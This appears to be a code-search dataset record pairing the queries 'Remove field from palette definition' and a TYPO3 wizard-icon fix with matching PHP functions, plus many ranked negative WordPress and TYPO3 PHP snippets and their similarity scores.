[ "0.6782258", "0.6607631", "0.6294924", "0.61073166", "0.60484236", "0.5974633", "0.5971963", "0.5953963", "0.5951819", "0.59399366", "0.5911255", "0.590178", "0.58655596", "0.58655596", "0.5849346", "0.579862", "0.5768064", "0.5765139", "0.573729", "0.57255703", "0.5724304", "0.57202613", "0.571931", "0.5701263", "0.56813365", "0.5670543", "0.5631478", "0.5619096", "0.5614813", "0.56126404", "0.5609481", "0.5603197", "0.56012326", "0.5590635", "0.55826944", "0.5572334", "0.5570086", "0.55585986", "0.5554254", "0.5544996", "0.5541444", "0.55409956", "0.5540589", "0.5515939", "0.5514259", "0.5510115", "0.5501207", "0.5488531", "0.5482288", "0.54750705", "0.5470857", "0.546392", "0.54513836", "0.5444079", "0.54328495", "0.5426162", "0.54193175", "0.54119754", "0.54095715", "0.53991085", "0.53984857", "0.53923595", "0.5391426", "0.5382695", "0.5370777", "0.5361051", "0.535184", "0.5349171", "0.53469396", "0.5345611", "0.53428024", "0.5335276", "0.5299877", "0.52996695", "0.52975637", "0.52975637", "0.52975637", "0.5294997", "0.52931994", "0.52916956", "0.5290723", "0.5288106", "0.52845716", "0.52824366", "0.52787423", "0.5277131", "0.5270481", "0.5265566", "0.52622575", "0.5257696", "0.52571106", "0.5256603", "0.52558833", "0.5251325", "0.52424383", "0.52346253", "0.5231209", "0.5225982", "0.522211", "0.52194506", "0.52163625" ]
0.0
-1
Remove field from palette definition
public static function removeFromPalette($table = '', $palette = '', $field = '') { if(!empty($table) && !empty($palette) && !empty($field) && isset($GLOBALS['TCA'][$table]['palettes'][$palette]['showitem'])) { $GLOBALS['TCA'][$table]['palettes'][$palette]['showitem'] = preg_replace( '/[, ]+'.preg_quote($field, '/').'/', '', $GLOBALS['TCA'][$table]['palettes'][$palette]['showitem'] ); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function acf_remove_local_field($key = '')\n{\n}", "public function unset_legend() {\n $this->legend = null;\n }", "public function removeField( $field ) {\r\n if ( isset($this->fields[$field]) ) {\r\n unset($this->fields[$field]);\r\n }\r\n\r\n }", "protected function unsetFields()\n\t{\n unset(\n $this['headshot_id'], $this['created_at'],\n $this['updated_at'], $this['slug']\n );\n\t}", "function image_features_override_export_render_deletion($alter, $element) {\n $code = array();\n if (isset($alter['keys'])) {\n $component_start = \"\\$data['$element']\";\n $code_line = features_override_export_keys($alter['keys']);\n $code[] = \"\";\n $code[] = \" if (\" . $component_start . \"['storage'] == IMAGE_STORAGE_DEFAULT) {\";\n $code[] = ' unset(' . $component_start . $code_line . ');';\n $code[] = \" }\";\n }\n return $code;\n}", "function remove_website_field($fields) {\n unset($fields['url']);\n return $fields;\n}", "function website_remove($fields){\n\n\tif(isset($fields['url']))\n\tunset($fields['url']);\n\n\treturn $fields;\n}", "public function removeField($field_name){\n\t\tif(isset($this->Fields[$field_name])){\n\t\t\tunset($this->Fields[$field_name]);\n\t\t}\n\t}", "private function removePseudoRelationsFromFieldSet(FieldSet& $fields) {\n\t\t$dataFields = $fields->dataFields();\n\t\tif ($dataFields) foreach ($dataFields as $field) {\n\t\t\tif (preg_match('/^__/', $field->Name()))\n\t\t\t\t$fields->removeByName($field->Name());\n\t\t}\n\t}", "protected function unsetFields()\n {\n }", "function remove_custom_background()\n {\n }", "public function remove_field(form_item $field) {\n foreach($this->_fields as $key=>$f) {\n if ($f == $field) {\n unset($this->_fields[$key]);\n return;\n }\n }\n }", "public function canAddFieldsToPaletteAfterNotExistingOnes() {}", "function acf_remove_local_field_group($key = '')\n{\n}", "public function __unset($field) {\n\t\t$this->offsetUnset($field);\n\t}", "public function __unset(string $field): void\n\t{\n\t\t$this->unsetValue($field);\n\t}", "public function remove_form_field()\n\t{\n\t\t//Get logged in session admin id\n\t\t$user_id \t\t\t\t\t\t= ($this->session->userdata('user_id_hotcargo')) ? $this->session->userdata('user_id_hotcargo') : 1;\n\t\t$setting_data \t\t\t\t\t= $this->myaccount_model->get_account_data($user_id);\n\t\t$data['data']['setting_data'] \t= $setting_data;\n\t\t$data['data']['settings'] \t\t= $this->sitesetting_model->get_settings();\n\t\t$data['data']['dealer_id'] \t\t= $user_id;\n\t\t\n\t\t//getting all admin data \n\t\t$data['myaccount_data'] \t\t\t= $this->myaccount_model->get_account_data($user_id);\n\t\t\n\t\t\n\t\t//Get requested id to remove\n\t\t$field_id \t\t\t\t\t= $this->input->get('form_id');\n\t\t\n\t\t//deleting query\n\t\t$this->mongo_db->where(array('field_name' => $field_id));\n\t\tif($this->mongo_db->delete('form_fields'))\n\t\t\techo 1;\n\t\telse\n\t\t\techo 0;\n\t}", "static public function clearField($name) {\n $self = self::_getInstance();\n if ($self->_hasField($name)) {\n COption::RemoveOption(self::MODULE_NAME, $name);\n }\n }", "function projectpentagon_remove() {\n\ndelete_option('projectpentagon_title');\n\ndelete_option('projectpentagon_name1');\n\ndelete_option('projectpentagon_name2');\n\ndelete_option('projectpentagon_name3');\n\ndelete_option('projectpentagon_name4');\n\ndelete_option('projectpentagon_name5');\n\ndelete_option('projectpentagon_color1');\n\ndelete_option('projectpentagon_color2');\n\ndelete_option('projectpentagon_color3');\n\ndelete_option('projectpentagon_color4');\n\ndelete_option('projectpentagon_color5');\n\ndelete_option('projectpentagon_category');\ndelete_option('projectpentagon-titleonpages');\n\n}", "function bt_custom_shipping_fields( $fields = array() ) {\n unset($fields['shipping_company']);\n // unset($fields['shipping_address_1']);\n // unset($fields['shipping_address_2']);\n // unset($fields['shipping_state']);\n // unset($fields['shipping_city']);\n // unset($fields['shipping_phone']);\n // unset($fields['shipping_postcode']);\n // unset($fields['shipping_country']);\n return $fields;\n}", "public function dropField( $table, $field );", "public function canAddFieldsToPaletteAfterExistingOnes() {}", "protected function removeFile($field) {\n $utilArbo = new ServiceArborescence();\n $utilFichier = new UtilFichier();\n $strNomImageThumb = nomImageThumbnail($utilArbo->getRepertoireDossiersMIP() . $this->getObject()->getPhotographie());\n $utilFichier->supprimerFichier($strNomImageThumb);\n\n parent::removeFile($field);\n }", "function deregister_graphql_field(string $type_name, string $field_name)\n {\n }", "function modify_user_meta($profile_fields) {\n\n // Add new fields\n $profile_fields['facebook_id'] = 'Facebook Profile ID';\n $profile_fields['twitter_username'] = 'Twitter @usename';\n\n // Remove old fields\n unset($profile_fields['aim']);\n unset($profile_fields['yim']);\n //not working unset($profile_fields['url']);\n unset($profile_fields['jabber']);\n\n return $profile_fields;\n}", "function convertizer_remove() {\ndelete_option('convertizer_data');\n}", "protected function removeColorPicker() {\n $setting = $this->getOptions();\n if (\n $setting['disable_color_picker'] == true\n ) {\n remove_action('admin_color_scheme_picker', 'admin_color_scheme_picker');\n }\n }", "function cinerama_edge_remove_default_custom_fields() {\n\t\tforeach ( array( 'normal', 'advanced', 'side' ) as $context ) {\n\t\t\tforeach ( apply_filters( 'cinerama_edge_filter_meta_box_post_types_remove', array( 'post', 'page' ) ) as $postType ) {\n\t\t\t\tremove_meta_box( 'postcustom', $postType, $context );\n\t\t\t}\n\t\t}\n\t}", "public function canAddFieldsToPaletteBeforeExistingOnes() {}", "function custom_remove() { \n remove_meta_box('add-sfwd-certificates', 'nav-menus', 'side');\n remove_meta_box('add-sfwd-assignment', 'nav-menus', 'side'); \n}", "function remove_theme_mods()\n {\n }", "private function removeFieldFromTca($table, $field) {\n unset($GLOBALS['TCA'][$table]['columns'][$field]);\n $showItem = t3lib_div::trimExplode(',', $GLOBALS['TCA'][$table]['types'][1]['showitem'], 1);\n\n foreach ($showItem as $k => $v) {\n if ($v === $field) {\n unset($showItem[$k]);\n }\n }\n $GLOBALS['TCA'][$table]['types'][1]['showitem'] = implode(',', $showItem);\n }", "public static function uninstall() {\n\t\tglobal $wpdb;\n\n\t\t$sql = \"\n\t\t\tDELETE\n\t\t\tFROM $wpdb->postmeta\n\t\t\tWHERE meta_key LIKE 'im8_additional_css%'\";\n\t\t$wpdb->query($sql);\n\n\t\tdelete_option(self::get_instance()->option_name);\n\t}", "public function remove_post_custom_fields() {\n\n\t\tremove_meta_box('postcustom' , 'post' , 'normal');\n\n\t}", "function remove($name) {\n\t\t$this->_settings->remove($name);\n\t}", "function wpfifc_remove_option() {\r\n\r\n\t\treturn;\r\n\t}", "public function uninstall() {\n\t\t\tself::requireoEmbed();\n\t\t\t$field = FieldMultilingual_oembed::deleteFieldTable();\n\t\t\treturn $field;\n\t\t}", "function hankart_remove_fields( $woo_checkout_fields_array ) {\n\t// unset( $woo_checkout_fields_array['billing']['billing_first_name'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_last_name'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_phone'] );\n\t// unset( $woo_checkout_fields_array['billing']['billing_email'] );\n\t// unset( $woo_checkout_fields_array['order']['order_comments'] );\n\t// and to remove the fields below\n\tunset( $woo_checkout_fields_array['billing']['billing_company'] );\n\treturn $woo_checkout_fields_array;\n}", "public function removeStyleDec() {\n\t}", "function delete_field($field)\n {\n }", "public function unpopulate();", "function remove_postcustom() {\n\tremove_meta_box( 'postcustom', null, 'normal' );\n}", "public function remove_field( $id ) {\n\n\t\t$fields = $this->options;\n\n\t\tif ( isset( $fields[ $id ] ) ) {\n\t\t\tunset( $fields[ $id ] );\n\t\t}\n\n\t\t$this->options = $fields;\n\n\t}", "protected function removeUnWantedfields(&$data) {\n unset($data['uuid']);\n unset($data['langcode']);\n unset($data['dependencies']);\n unset($data['id']);\n }", "function plugin_uninstall()\r\n{\r\n\tconf_delete_param('piwigopanorama_conf');\r\n\r\n\tpwg_query('ALTER TABLE `'. IMAGES_TABLE .'` DROP `is_panorama`;');\r\n}", "public function removeColumn($aField) {\r\n foreach ($this -> mCols as $key => $col) {\r\n if ($key == $aField) {\r\n unset($this -> mCols[$key]);\r\n }\r\n }\r\n }", "public function removeField($value) {\n return $this->setProperty('removeField', $value);\n }", "public function removeFieldDefinition(FieldDefinitionInterface $field_definition);", "public function removeField($field)\n {\n if (is_string($field)) {\n $field = $this->getField($field);\n }\n\n $pos = $this->getFieldPosition($field);\n if (false === $pos) {\n throw new EngineException(\n sprintf('No field named %s found in entity %s.', $field->getName(), $this->getName())\n );\n }\n\n unset($this->fields[$pos]);\n unset($this->fieldsByName[$field->getName()]);\n unset($this->fieldsByLowercaseName[strtolower($field->getName())]);\n// unset($this->fieldsByPhpName[$field->getName()]);\n\n $this->adjustFieldPositions();\n // @FIXME: also remove indexes and validators on this field?\n }", "public static function uninstall()\n {\n global $wpdb;\n $query = \"DROP TABLE IF EXISTS \".$wpdb->prefix.\"glsl_background\";\n $wpdb->query($query);\n }", "public function deregister_field($type_name, $field_name)\n {\n }", "function do_delete(){\n\t\t// remove from fieldset:\n\t\t$fieldset = jcf_fieldsets_get( $this->fieldset_id );\n\t\tif( isset($fieldset['fields'][$this->id]) )\n\t\t\tunset($fieldset['fields'][$this->id]);\n\t\tjcf_fieldsets_update( $this->fieldset_id, $fieldset );\n\t\t\n\t\t// remove from fields array\n\t\tjcf_field_settings_update($this->id, NULL);\n\t}", "static public function remove_meta_fields( $fields ) {\n //unset( $fields['_project_images'] );\n //unset( $fields['_client_name'] );\n //unset( $fields['_project_url'] );\n unset( $fields['_project_date'] );\n\n return $fields;\n }", "function remove_theme_mod($name)\n {\n }", "public function __unset($_name) {\n\t\tif (array_key_exists($_name,$this->fields)) {\n\t\t\ttrigger_error(self::TEXT_AxonCantUnset);\n\t\t\treturn;\n\t\t}\n\t\tF3::$global['CONTEXT']=$_name;\n\t\ttrigger_error(self::TEXT_AxonNotMapped);\n\t}", "public static function uninstall() {\n // tenemos que borrar el custom post type\n // Es conveniente borrar todos los datos que ha generado el plugin en la BBDD\n }", "function delete_profile_field()\n {\n if ( ! Session::access('can_admin_members'))\n {\n return Cp::unauthorizedAccess();\n }\n\n if ( ! $m_field_id = Request::input('m_field_id'))\n {\n return false;\n }\n\n $query = DB::table('member_fields')\n ->where('m_field_id', $m_field_id)\n ->select('m_field_name', 'm_field_label', 'm_field_id')\n ->first();\n\n if (!$query) {\n return false;\n }\n\n // Drop Column\n Schema::table('member_data', function($table) use ($query)\n {\n $table->dropColumn('m_field_'.$query->m_field_name);\n });\n\n DB::table('member_fields')->where('m_field_id', $query->m_field_id)->delete();\n\n Cp::log(__('members.profile_field_deleted').'&nbsp;'.$query->m_field_label);\n\n return $this->custom_profile_fields();\n }", "public function remove_meta_box() {\n\t\tremove_meta_box( $this->tax_name . 'div', 'ctrs-projects', 'side' );\n\t}", "public function getUnsetFields(): array\n {\n return ['testimony_id'];\n }", "public function clear_style_keys()\t{\n\t\tglobal $phpbbForum;\n\t\t\n\t\t$phpbbForum->erase_style_keys();\n\t\t$this->styleKeys = array();\n\t}", "public function testRemoveField()\n\t{\n\t\t$this->instance->removeField('content');\n\n\t\t$this->instance->bind($this->getTestData());\n\n\t\t$this->assertNull($this->instance->content);\n\t}", "public function removeField( $name )\n {\n if( $name instanceof WebLab_Data_Field ) {\n $field = $name;\n $name = $field->getAlias();\n if( empty( $name ) ) {\n $name = $field->getName();\n }\n }\n unset( $this->_fields[ $name ] );\n\n return $this;\n }", "function remove_custom_image_header()\n {\n }", "function acf_load_button_color_field_choices( $field ) {\n // reset choices\n $field['choices'] = array(\n 'black' => 'Black',\n 'white' => 'White',\n );\n\n return $field;\n}", "public function removeField(string $name): void\n {\n $card = $this->getCardFor($name);\n\n if (null === $card) {\n return;\n }\n\n $group = $this->getGroup($card);\n foreach ($group->fields as $i => $field) {\n if (isset($field->id) && $field->id === $name) {\n unset($group->fields[$i]);\n }\n }\n }", "public function removeField($index) {\n\t\t$this->fields[$index] = null;\n\t}", "public function removeField($index) {\n\t\t$this->fields[$index] = null;\n\t}", "public function excludeFromSource($field);", "public function cleanseFields() {\n $this->dictionary->remove('nospam');\n $this->dictionary->remove('blank');\n $submitVar = $this->controller->getProperty('submitVar');\n if (!empty($submitVar)) {\n $this->dictionary->remove($submitVar);\n }\n }", "function plasso_remove_customizer_settings($wp_customize){\n\t$wp_customize->remove_panel('nav_menus');\n\t$wp_customize->remove_section('custom_css');\n}", "public function __unset($_name);", "function db_field_set_no_default(&$ret, $table, $field) {\n $ret[] = update_sql('ALTER TABLE {'. $table .'} ALTER COLUMN '. $field .' DROP DEFAULT');\n}", "public function removeField($field)\r\n {\r\n if (isset($this->fields[$field])) {\r\n unset($this->fields[$field]);\r\n }\r\n\r\n return $this;\r\n }", "function bt_custom_billing_fields( $fields = array() ) {\n unset($fields['billing_company']);\n // unset($fields['billing_address_1']);\n // unset($fields['billing_address_2']);\n // unset($fields['billing_state']);\n // unset($fields['billing_city']);\n // unset($fields['billing_phone']);\n // unset($fields['billing_postcode']);\n // unset($fields['billing_country']);\n return $fields;\n}", "public function removeLabel(): void\n {\n $this->labelName = null;\n $this->label = false;\n }", "public function reset() {\n $this->values[self::NAME] = null;\n $this->values[self::TIP_RTBUS] = null;\n }", "static function &removeFields(&$fields,$removes){\r\n\t\t foreach($removes as $erase) {\r\n\t\t\t\t\t\t $fields->removeByName($erase);\r\n\t\t\t\t\t\t\t\t\t\t } \r\n\t\t\t\t\t return $fields;\r\n\t\t\t\t\t }", "public function removeField($field)\n\t{\n\t\t$this->checkValidLoader();\n\n\t\tif (in_array($field, $this->loaders[ $this->contextLoader ]))\n\t\t{\n\t\t\tarray_splice($this->loaders[ $this->contextLoader ], array_search($field, $this->loaders[ $this->contextLoader ]));\n\t\t}\n\n\t\treturn $this;\n\t}", "public function delegateDropField(DbalSchema $dbal_schema, $drupal_table_name, $field_name);", "abstract protected function propertyUnset($name);", "function hook_image_style_delete($style) {\n // Administrators can choose an optional replacement style when deleting.\n // Update the modules style variable accordingly.\n if (isset($style['old_name']) && $style['old_name'] == variable_get('mymodule_image_style', '')) {\n variable_set('mymodule_image_style', $style['name']);\n }\n}", "function remove_default_custom_fields( $type, $context, $post ) {\n foreach ( array( 'normal', 'advanced', 'side' ) as $context ) {\n foreach ( $this->postTypes as $postType ) {\n remove_meta_box( 'postcustom', $postType, $context );\n }\n }\n }", "public function unset_url_field( $fields )\n {\n if( isset( $fields['url'] ) )\n {\n unset( $fields['url'] );\n }\n\n return $fields;\n }", "function thb_remove_blog_grid_options() {\n\t\tif ( thb_get_admin_template() == 'template-blog-grid.php' ) {\n\t\t\t$fields_container = thb_theme()->getPostType( 'page' )->getMetabox( 'layout' )->getTab( 'blog_loop' )->getContainer( 'loop_container' );\n\t\t\t$fields_container->removeField( 'thumbnails_open_post' );\n\t\t}\n\t}", "public function on_plugin_uninstall(): void {\n\t\tdelete_post_meta_by_key( self::CROPPED_ID_POST_META_KEY );\n\t}", "private function removeField(string $parent, array &$content) {\n $path = preg_replace('/(\\d+)([.*\\d+])/x', '$1.fields$2', $parent);\n\n //$element = Arr::get($content['questions'], $path);\n\n Arr::forget($content[$this->configuration['fields_key']], $path);\n\n // remove fields index if it is empty\n /*$parentElement = Arr::get($content['questions'], $element['parent']);\n if (isset($parentElement['fields']) && empty($parentElement['fields'])) {\n $children = preg_replace('/([.]\\d+$)/', '', $path);\n Arr::forget($content['questions'], $children);\n }*/\n }", "function wooadmin_remove_woo_commerce_generator_tag()\n{\n remove_action('wp_head',array($GLOBALS['eshopbox'], 'generator'));\n}", "function remove_custom_field_data($field_id, array $contact)\n{\n if (isset($contact['custom_fields'])) {\n foreach ($contact['custom_fields'] as $key => $value) {\n if ($value['id'] == $field_id) {\n unset($contact['custom_fields'][$key]);\n }\n }\n }\n\n return $contact;\n}", "public function destroy( $value = NULL, $field = 'id' );", "function _strip_image_tags($field)\r\n\t{\r\n\t\t$this->{$field} = strip_image_tags($this->{$field});\r\n\t}", "public function getRemoveOriginalValue();", "public function hideExtraField()\n {\n $this->houses=false;\n $this->jobs_training=false;\n $this->motorcycles =false;\n $this->cars = false;\n $this->offices=false;\n $this->lands_plots=false;\n return;\n }", "function remove_yoast_acesso_camera() {\r\n remove_meta_box( 'wpseo_meta' , 'acesso_camera' , 'normal' ); \r\n}", "private function unsetProperties(){\n //Human::log(\"--------------------------------------------------- unset initial properties for \".$this->modelName);\n foreach($this->fields() as $f){\n \n $fieldName=$f->name;\n \n unset($this->$fieldName);\n /*\n if(gettype($this->$fieldName)==\"object\"){\n Human::log(\"FIELD now $fieldName is \". get_class($this->$fieldName)); \n }else{\n Human::log(\"FIELD now $fieldName is \". gettype($this->$fieldName)); \n }\n\t \n\t */\n } \n }", "function clear($page_id) {\n\t\t// https://www.advancedcustomfields.com/resources/delete_field/\n\t\tdelete_field(self::ACF_NAME, $page_id);\n\t}", "public function enumRemove($table = false, $field = false, $value = false, $pasive = false)\n {\n $this->enum($table, $field, $value, 'remove', $pasive);\n }", "function removeField($name) {\n $this->body->removeField($name);\n return $this;\n }", "public function remove_options()\n {\n }", "function custom_override_checkout_fields( $fields ) {\n unset($fields['billing']['billing_phone']);\n\n // REMOVING BILLING COMPANY\n unset($fields['billing']['billing_company']);\n\n // REMOVING ADDITIONAL INFORMATION FIELD\n unset($fields['order']['order_comments']);\n\n return $fields;\n}", "function acf_delete_json_field_group($key)\n{\n}" ]
[ "0.60165906", "0.60121745", "0.59430176", "0.5838733", "0.58139676", "0.5799772", "0.5764606", "0.57289225", "0.5708306", "0.5705625", "0.56833756", "0.564094", "0.5622882", "0.5605879", "0.56040865", "0.55895424", "0.55871224", "0.55558527", "0.5545748", "0.5503513", "0.55021816", "0.55019176", "0.54868627", "0.5471467", "0.5465299", "0.54615563", "0.54604447", "0.5453426", "0.54389983", "0.540106", "0.53833157", "0.5377573", "0.5355213", "0.53472733", "0.5347096", "0.53459775", "0.5338319", "0.5330785", "0.53101844", "0.5305645", "0.5304781", "0.53011334", "0.5298571", "0.5298019", "0.5293763", "0.5286988", "0.52738273", "0.5272141", "0.52622795", "0.52604437", "0.52472943", "0.52442145", "0.5237001", "0.5221189", "0.5190946", "0.51892555", "0.51890594", "0.5162783", "0.5162182", "0.51541877", "0.5149424", "0.5140008", "0.51316255", "0.51272374", "0.5122189", "0.5118222", "0.5118222", "0.5113264", "0.51114416", "0.5105196", "0.51042295", "0.51041275", "0.509341", "0.5091058", "0.50891566", "0.5087788", "0.50778276", "0.50757957", "0.5074505", "0.50707895", "0.5069351", "0.5068645", "0.506749", "0.5053768", "0.5049188", "0.5047853", "0.50475687", "0.50465274", "0.5043562", "0.5040776", "0.5040607", "0.50337565", "0.50302297", "0.5026488", "0.5020448", "0.50172806", "0.5016716", "0.50143", "0.5013524", "0.5011041" ]
0.6717171
0
Fix broken wizard icons for plugins generated by extension builder
public static function fixWizardPluginIcons($icons, $extKey) { $iconRegistry = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Imaging\IconRegistry::class); /** * Register Icons */ $pageTsConfigString = ''; foreach($icons as $iconKey => $icon) { $iconRegistry->registerIcon( $extKey.'-plugin-' . $iconKey, $icon['class'], ['source' => $icon['source']] ); $pageTsConfigString .= $iconKey.".iconIdentifier = ".$extKey."-plugin-".$iconKey."\n"; } /** * Fix broken wizard icons */ \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addPageTSConfig(' mod { wizards.newContentElement.wizardItems.plugins { elements { '.$pageTsConfigString.' } } } '); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function registerPluginTriggersAddPluginWhichSetsPluginIconPathIfIconPathIsGiven() {}", "public function registerPluginTriggersAddPluginWhichSetsPluginIconPathIfUsingUpperCameCasedExtensionNameAndIconPathNotGiven() {}", "public function registerPluginTriggersAddPluginWhichSetsPluginIconPathIfUsingUnderscoredExtensionNameAndIconPathNotGiven() {}", "function _upgrade_422_remove_genericons()\n {\n }", "function proc($wizardItems)\t{\r\n\t\tglobal $LANG;\r\n\r\n\t\t$LL = $this->includeLocalLang();\r\n\r\n\t\t$wizardItems['plugins_f4luceneworkshop_ui'] = array(\r\n\t\t\t'icon'=>t3lib_extMgm::extRelPath('f4_lucene_workshop').'ui/ce_wiz.gif',\r\n\t\t\t'title'=>$LANG->getLLL('ui_title',$LL),\r\n\t\t\t'description'=>$LANG->getLLL('ui_plus_wiz_description',$LL),\r\n\t\t\t'params'=>'&defVals[tt_content][CType]=list&defVals[tt_content][list_type]=f4_lucene_workshop_ui'\r\n\t\t);\r\n\r\n\t\treturn $wizardItems;\r\n\t}", "function wp_super_emoticons_shutdown() {\t\n\t$current_plugins = get_settings('active_plugins');\n\t$current_plugin_basename = plugin_basename( __FILE__ );\t\t\n\tarray_splice( $current_plugins, array_search( $current_plugin_basename, $current_plugins ), 1 ); // Array-function!\n\tupdate_option( 'active_plugins', $current_plugins );\n \n echo '<div class=\"settings-error error\" id=\"setting-error-settings_updated\"><p><strong>';\n _e( 'WP Super Edit Plugin Required! Activate WP Super Edit before using. Plugin Deactivated.', 'wp-super-edit' );\n echo '</p></div>';\n}", "function inkpro_set_customizer_tabs_icons() {\r\n\t$mods = inkpro_customizer_get_mods();\r\n\r\n\t$css = '';\r\n\r\n\tforeach ( $mods as $key => $value) {\r\n\t\t\r\n\t\tif ( isset( $value['icon'] ) && isset( $value['id'] ) ) {\r\n\r\n\t\t\t$section_id = $value['id'];\r\n\t\t\t$icon_slug = $value['icon'];\r\n\r\n\t\t\t$css .= '\r\n\t\t\t\t#accordion-section-' . $section_id . ' .accordion-section-title:before{\r\n\t\t\t\t\tposition:relative;\r\n\t\t\t\t\tfont-family:Dashicons;\r\n\t\t\t\t\tcontent : \"' . inkpro_get_dashicon_css_unicode( $icon_slug ) . '\";\r\n\t\t\t\t\tposition: relative;\r\n\t\t\t\t\ttop: 2px;\r\n\t\t\t\t\tmargin-left: 5px;\r\n\t\t\t\t\tleft: -6px;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tfont-weight: normal;\r\n\t\t\t\t}\r\n\t\t\t';\r\n\t\t}\r\n\t}\r\n\r\n\tif ( ! SCRIPT_DEBUG ) {\r\n\t\t$css = wolf_compact_css( $css );\r\n\t}\r\n\r\n\twp_add_inline_style( 'inkpro-customizer-style', $css );\r\n}", "protected function registerTCAIcons() {}", "protected function buildCssAndRegisterIcons() {}", "function add_galleries_icon() {\n\n\t\t$plugin_css = plugin_dir_url( __FILE__ ) . '/css/admin-style.css';\n\n\t\twp_register_style( 'admin-style', $plugin_css );\n\n\t\twp_enqueue_style( 'admin-style' );\n\t}", "function wp_site_icon()\n {\n }", "function plugin_geticon_bad_behavior2 ()\n{\n global $_CONF;\n\n return $_CONF['site_url'] . '/' . BAD_BEHAVIOR_PLUGIN\n . '/images/bad_behavior2.png';\n}", "public function getPluginButtons() {}", "public function getIconReturnsReplacementIconWhenDeprecatedDataProvider() {}", "function plugin_geticon_nexmenu()\n{\n global $_CONF;\n\n return $_CONF['layout_url'] .'/nexmenu/images/admin/nexmenu.gif';\n}", "public function showEnableInstallToolButtonAction() {}", "function travelogue_buttons() {\n add_filter( \"mce_external_plugins\", \"travelogue_add_buttons\" );\n // add new buttons\n add_filter( 'mce_buttons', 'travelogue_register_buttons' );\n}", "function gtpress_admin_menu() {\r\n\t$gtpress_ico = get_option('siteurl').'/wp-content/plugins/'.basename(dirname(__FILE__)).'/';\r\n\tadd_options_page('GT Press', 'GT Press Setup', 8, basename(__FILE__), 'gtpressMenu_options_page', '', $gtpress_ico.'gtpress.png');\r\n}", "function render_wizard() {\n\t\t$lines=array();\n\n\t\t$action = explode(':',$this->wizard->modData['wizAction']);\n\t\tif ($action[0]=='edit')\t{\n\t\t\t$this->regNewEntry($this->sectionID, $action[1]);\n\t\t\t$lines = $this->catHeaderLines($lines, $this->sectionID, $this->wizard->options[$this->sectionID], '<strong>Edit Plugin #'.$action[1].'</strong>', $action[1]);\n\t\t\t$piConf = $this->wizard->wizArray[$this->sectionID][$action[1]];\n\t\t\t$ffPrefix = '['.$this->sectionID.']['.$action[1].']';\n\n\t\t\t\t// Enter title of the plugin\n\t\t\t$subContent='<strong>Enter a title for the plugin:</strong><br />'.\n\t\t\t\t$this->renderStringBox_lang('title',$ffPrefix,$piConf);\n\t\t\t$lines[]='<tr'.$this->bgCol(3).'><td>'.$this->fw($subContent).'</td></tr>';\n\n\t\t\t\t// Position\n\t\t\tif (is_array($this->wizard->wizArray['fields']))\t{\n\t\t\t\t$optValues = array(\n\t\t\t\t\t'0' => '',\n\t\t\t\t);\n\t\t\t\tforeach($this->wizard->wizArray['fields'] as $kk => $fC)\t{\n\t\t\t\t\tif ($fC['which_table']=='tt_content')\t{\n\t\t\t\t\t\t$optValues[$kk]=($fC['title']?$fC['title']:'Item '.$kk).' ('.count($fC['fields']).' fields)';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (count($optValues)>1)\t{\n\t\t\t\t\t$subContent='<strong>Apply a set of extended fields</strong><br />\n\t\t\t\t\t\tIf you have configured a set of extra fields (Extend existing Tables) for the tt_content table, you can have them assigned to this plugin.\n\t\t\t\t\t\t<br />'.\n\t\t\t\t\t\t$this->renderSelectBox($ffPrefix.'[apply_extended]',$piConf['apply_extended'],$optValues);\n\t\t\t\t\t$lines[]='<tr'.$this->bgCol(3).'><td>'.$this->fw($subContent).'</td></tr>';\n\t\t\t\t}\n\t\t\t}\n/*\n\t\t\t\t// Insert Plugin\n\t\t\tif (is_array($this->wizard->wizArray['tables']))\t{\n\t\t\t\t$optValues = array(\n\t\t\t\t\t'0' => '',\n\t\t\t\t);\n\t\t\t\tforeach($this->wizard->wizArray['tables'] as $kk => $fC)\t{\n\t\t\t\t\t$optValues[$kk]=($fC['tablename']||$fC['title']?$fC['title'].' ('.$this->returnName($this->wizard->extKey,'tables').($fC['tablename']?'_'.$fC['tablename']:'').')':'Item '.$kk).' ('.count($fC['fields']).' fields)';\n\t\t\t\t}\n\t\t\t\t$subContent='<strong>Example Code Generation</strong><br />'.\n\t\t\t\t\t\t'If you have configured custom tables you can select one of the tables to list by default as an example:<br />'.\n\t\t\t\t\t\t$this->renderSelectBox($ffPrefix.'[list_default]',$piConf['list_default'],$optValues);\n\t\t\t\t$lines[] = '<tr><td><hr /></td></tr>';\n\t\t\t $lines[]='<tr'.$this->bgCol(3).'><td>'.$this->fw($subContent).'</td></tr>';\n\t\t\t}\n*/\n\n\t\t\t$subContent='<strong>New Content Element Wizard</strong><br />'.\n\t\t\t $this->renderCheckBox($ffPrefix.'[plus_wiz]',$piConf['plus_wiz']).\n\t\t\t\t'Add icon to \\'New Content Element\\' wizard<br />'.\n\t\t\t\t'Write a description for the entry (if any):<br />'.\n\t\t\t\t$this->renderStringBox_lang('plus_wiz_description',$ffPrefix,$piConf)\n\t\t\t\t;\n\t\t\t$lines[] = '<tr><td><hr /></td></tr>';\n\t\t\t$lines[]='<tr'.$this->bgCol(3).'><td>'.$this->fw($subContent).'</td></tr>';\n\n\t\t\t$subContent='<strong>Code Layout Selection</strong><br />'.\n\t\t\t $this->renderSelectBox($ffPrefix.'[code_sel]',$piConf['code_sel'],\n\t\t\t\t$this->renderer_select);\n\t\t\t$lines[] = '<tr><td><hr /></td></tr>';\n\t\t\t$lines[]='<tr'.$this->bgCol(3).'><td>'.$this->fw($subContent).'</td></tr>';\n\n\t\t\t\t/* create default controller */\n\t\t\tif(!isset($piConf[done])) {\n\t\t\t\t$ctr_cnt = count($this->wizard->wizArray['mvccontroller'])+1;\n\t\t\t\t$this->regNewEntry('mvccontroller', $ctr_cnt);;\n\t\t\t\t$this->wizard->wizArray['mvccontroller'][$ctr_cnt] = array('plugin'=>$action[1],'title'=>'default'.$action[1]);\n\t\t\t\t$piConf[done] = 1;\n\t\t\t}\n\t\t\t$lines[] = '<input type=\"hidden\" name=\"kickstarter[wizArray_upd]'.$ffPrefix.'[done]\" value=\"'.$piConf[done].'\" 